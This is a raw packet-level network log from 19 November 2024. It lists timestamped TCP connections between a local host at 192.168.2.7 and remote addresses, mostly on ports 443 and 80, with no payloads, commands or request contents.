Nov 19, 2024 20:05:23.262811899 CET	49728	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:23.262918949 CET	49728	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:23.262929916 CET	443	49728	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:23.284733057 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:23.284806013 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:23.284853935 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:23.287461996 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:23.291191101 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:23.295986891 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:23.510900974 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:23.510922909 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:23.510935068 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:23.510984898 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:23.511014938 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:23.511032104 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:23.511044979 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:23.511050940 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:23.511056900 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:23.511079073 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:23.511079073 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:23.511107922 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:23.513716936 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:23.519247055 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:23.565165997 CET	49723	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:23.565191031 CET	443	49723	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:23.664411068 CET	443	49724	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:23.674669981 CET	443	49727	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:23.694485903 CET	49724	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:23.694502115 CET	443	49724	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:23.695132971 CET	49724	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:23.695149899 CET	443	49724	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:23.695785046 CET	49727	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:23.695800066 CET	443	49727	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:23.696403027 CET	49727	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:23.696408987 CET	443	49727	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:23.726618052 CET	443	49725	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:23.730680943 CET	49725	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:23.730691910 CET	443	49725	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:23.735444069 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:23.736923933 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:23.739345074 CET	49725	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:23.739377975 CET	443	49725	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:23.749998093 CET	443	49726	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:23.756036043 CET	49726	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:23.756048918 CET	443	49726	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:23.760091066 CET	49726	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:23.760107994 CET	443	49726	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:23.806158066 CET	443	49724	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:23.806243896 CET	443	49724	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:23.806333065 CET	49724	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:23.807971954 CET	443	49727	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:23.808059931 CET	443	49727	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:23.808147907 CET	49727	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:23.834357977 CET	49724	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:23.834392071 CET	443	49724	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:23.834428072 CET	49724	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:23.834434032 CET	443	49724	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:23.838237047 CET	443	49725	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:23.838330984 CET	443	49725	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:23.838468075 CET	49725	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:23.856662989 CET	49727	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:23.856662989 CET	49727	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:23.856689930 CET	443	49727	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:23.856700897 CET	443	49727	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:23.859143972 CET	443	49726	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:23.859226942 CET	443	49726	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:23.859333038 CET	49726	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:23.881392956 CET	49725	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:23.881392956 CET	49725	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:23.881422997 CET	443	49725	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:23.881428957 CET	443	49725	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:23.883558989 CET	49726	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:23.883558989 CET	49726	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:23.883579969 CET	443	49726	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:23.883590937 CET	443	49726	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:23.965075970 CET	443	49728	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:24.018377066 CET	49728	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:24.054721117 CET	49728	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:24.054728985 CET	443	49728	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:24.055762053 CET	49728	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:24.055768967 CET	443	49728	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:24.059026003 CET	49729	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:24.059061050 CET	443	49729	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:24.059139967 CET	49729	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:24.059290886 CET	49729	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:24.059302092 CET	443	49729	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:24.062670946 CET	49730	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:24.062695026 CET	443	49730	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:24.062942982 CET	49730	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:24.072015047 CET	49731	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:24.072060108 CET	443	49731	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:24.072128057 CET	49731	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:24.076412916 CET	49730	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:24.076427937 CET	443	49730	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:24.084069967 CET	49731	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:24.084094048 CET	443	49731	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:24.086554050 CET	49732	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:24.086586952 CET	443	49732	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:24.086647987 CET	49732	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:24.086827993 CET	49732	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:24.086838007 CET	443	49732	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:24.112719059 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:24.112782955 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:24.117655993 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:24.117672920 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:24.117696047 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:24.117707968 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:24.117717981 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:24.117805958 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:24.117815971 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:24.224761963 CET	443	49728	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:24.224833965 CET	443	49728	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:24.225064993 CET	49728	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:24.225064993 CET	49728	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:24.225064993 CET	49728	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:24.228153944 CET	49733	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:24.228180885 CET	443	49733	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:24.228308916 CET	49733	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:24.228583097 CET	49733	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:24.228598118 CET	443	49733	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:24.252523899 CET	49677	443	192.168.2.7	20.50.201.200
Nov 19, 2024 20:05:24.534106016 CET	49728	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:24.534132004 CET	443	49728	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:24.745405912 CET	443	49729	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:24.746192932 CET	49729	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:24.746205091 CET	443	49729	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:24.746948957 CET	49729	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:24.746953011 CET	443	49729	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:24.752737999 CET	443	49731	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:24.753251076 CET	49731	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:24.753259897 CET	443	49731	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:24.753851891 CET	49731	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:24.753856897 CET	443	49731	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:24.756736994 CET	443	49732	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:24.757148981 CET	49732	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:24.757193089 CET	443	49732	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:24.757594109 CET	49732	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:24.757622004 CET	443	49732	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:24.767307997 CET	443	49730	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:24.767718077 CET	49730	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:24.767741919 CET	443	49730	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:24.768336058 CET	49730	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:24.768361092 CET	443	49730	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:24.865160942 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:24.865222931 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:24.866308928 CET	443	49729	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:24.866370916 CET	443	49729	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:24.866384983 CET	443	49733	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:24.866425991 CET	49729	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:24.866595984 CET	49729	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:24.866605043 CET	443	49729	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:24.866616964 CET	49729	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:24.866621971 CET	443	49729	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:24.867100000 CET	443	49731	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:24.867173910 CET	443	49731	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:24.867219925 CET	49731	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:24.868629932 CET	49733	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:24.868658066 CET	443	49733	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:24.869324923 CET	49733	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:24.869330883 CET	443	49733	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:24.869910002 CET	49731	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:24.869915009 CET	443	49731	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:24.869927883 CET	49731	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:24.869930983 CET	443	49731	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:24.872777939 CET	49734	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:24.872823000 CET	443	49734	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:24.872900963 CET	49734	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:24.873167992 CET	49734	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:24.873181105 CET	443	49734	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:24.873684883 CET	443	49732	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:24.873743057 CET	443	49732	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:24.873800039 CET	49732	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:24.874838114 CET	49735	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:24.874865055 CET	443	49735	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:24.874919891 CET	49735	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:24.875083923 CET	49735	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:24.875096083 CET	443	49735	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:24.875437975 CET	49732	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:24.875437975 CET	49732	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:24.875472069 CET	443	49732	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:24.875488997 CET	443	49732	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:24.878613949 CET	49736	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:24.878642082 CET	443	49736	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:24.878695965 CET	49736	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:24.878885031 CET	49736	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:24.878897905 CET	443	49736	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:24.888705969 CET	443	49730	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:24.888763905 CET	443	49730	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:24.888797045 CET	49730	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:24.888986111 CET	49730	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:24.888986111 CET	49730	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:24.889003992 CET	443	49730	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:24.889012098 CET	443	49730	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:24.891998053 CET	49737	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:24.892034054 CET	443	49737	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:24.892103910 CET	49737	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:24.892275095 CET	49737	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:24.892288923 CET	443	49737	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:24.966116905 CET	443	49733	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:24.966197014 CET	443	49733	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:24.966259003 CET	49733	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:24.966531992 CET	49733	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:24.966557980 CET	443	49733	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:24.966573000 CET	49733	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:24.966578960 CET	443	49733	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:24.969477892 CET	49738	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:24.969530106 CET	443	49738	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:24.969597101 CET	49738	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:24.969748020 CET	49738	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:24.969758987 CET	443	49738	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:25.157993078 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:25.361932993 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:25.365358114 CET	443	49700	104.98.116.138	192.168.2.7
Nov 19, 2024 20:05:25.365853071 CET	49700	443	192.168.2.7	104.98.116.138
Nov 19, 2024 20:05:25.367940903 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:25.367976904 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:25.553011894 CET	443	49735	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:25.553349018 CET	443	49736	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:25.553975105 CET	49735	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:25.553977013 CET	49736	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:25.553994894 CET	443	49735	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:25.553998947 CET	443	49736	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:25.554461956 CET	49736	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:25.554466963 CET	443	49736	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:25.554574013 CET	49735	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:25.554584026 CET	443	49735	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:25.555656910 CET	443	49734	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:25.555666924 CET	443	49737	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:25.556107044 CET	49734	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:25.556119919 CET	443	49734	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:25.556576967 CET	49734	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:25.556581020 CET	443	49734	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:25.556683064 CET	49737	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:25.556683064 CET	49737	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:25.556714058 CET	443	49737	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:25.556731939 CET	443	49737	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:25.578792095 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:25.578808069 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:25.578819990 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:25.578864098 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:25.578953028 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:25.578989029 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:25.579099894 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:25.579159021 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:25.579200983 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:25.579308987 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:25.579350948 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:25.579374075 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:25.579386950 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:25.579411030 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:25.579430103 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:25.579468966 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:25.580173016 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:25.580195904 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:25.580210924 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:25.580243111 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:25.580545902 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:25.580605984 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:25.615257978 CET	443	49738	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:25.617417097 CET	49738	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:25.617441893 CET	443	49738	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:25.617876053 CET	49738	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:25.617885113 CET	443	49738	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:25.654535055 CET	443	49736	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:25.654607058 CET	443	49736	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:25.654833078 CET	49736	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:25.655078888 CET	49736	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:25.655096054 CET	443	49736	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:25.655107021 CET	49736	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:25.655113935 CET	443	49736	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:25.655627012 CET	443	49735	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:25.655685902 CET	443	49735	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:25.655749083 CET	49735	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:25.655915022 CET	49735	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:25.655935049 CET	443	49735	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:25.655941963 CET	49735	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:25.655949116 CET	443	49735	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:25.656877995 CET	443	49737	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:25.656944990 CET	443	49737	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:25.657483101 CET	49737	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:25.657483101 CET	49737	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:25.657943964 CET	49737	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:25.657954931 CET	443	49737	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:25.658303976 CET	49739	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:25.658324957 CET	443	49739	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:25.659073114 CET	49739	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:25.659204006 CET	49740	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:25.659234047 CET	443	49740	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:25.659425974 CET	49740	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:25.660418034 CET	49741	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:25.660449982 CET	443	49741	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:25.660506010 CET	49741	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:25.660876989 CET	49740	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:25.660892010 CET	443	49740	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:25.660974026 CET	49741	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:25.660980940 CET	49739	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:25.660985947 CET	443	49741	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:25.660995007 CET	443	49739	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:25.664875984 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:25.664892912 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:25.665091991 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:25.665309906 CET	443	49734	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:25.665370941 CET	443	49734	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:25.666960955 CET	49734	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:25.666999102 CET	49734	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:25.667020082 CET	443	49734	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:25.667032957 CET	49734	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:25.667038918 CET	443	49734	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:25.669389963 CET	49742	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:25.669413090 CET	443	49742	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:25.669503927 CET	49742	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:25.669667959 CET	49742	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:25.669677019 CET	443	49742	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:25.703573942 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:25.703644037 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:25.703660011 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:25.703686953 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:25.703711033 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:25.703712940 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:25.703723907 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:25.703761101 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:25.704020977 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:25.704035044 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:25.704061031 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:25.704080105 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:25.704293966 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:25.704355001 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:25.704366922 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:25.704402924 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:25.704766989 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:25.704813957 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:25.704823017 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:25.704835892 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:25.704858065 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:25.704876900 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:25.704909086 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:25.704921007 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:25.704961061 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:25.705660105 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:25.705698013 CET	49718	80	192.168.2.7	185.215.113.206
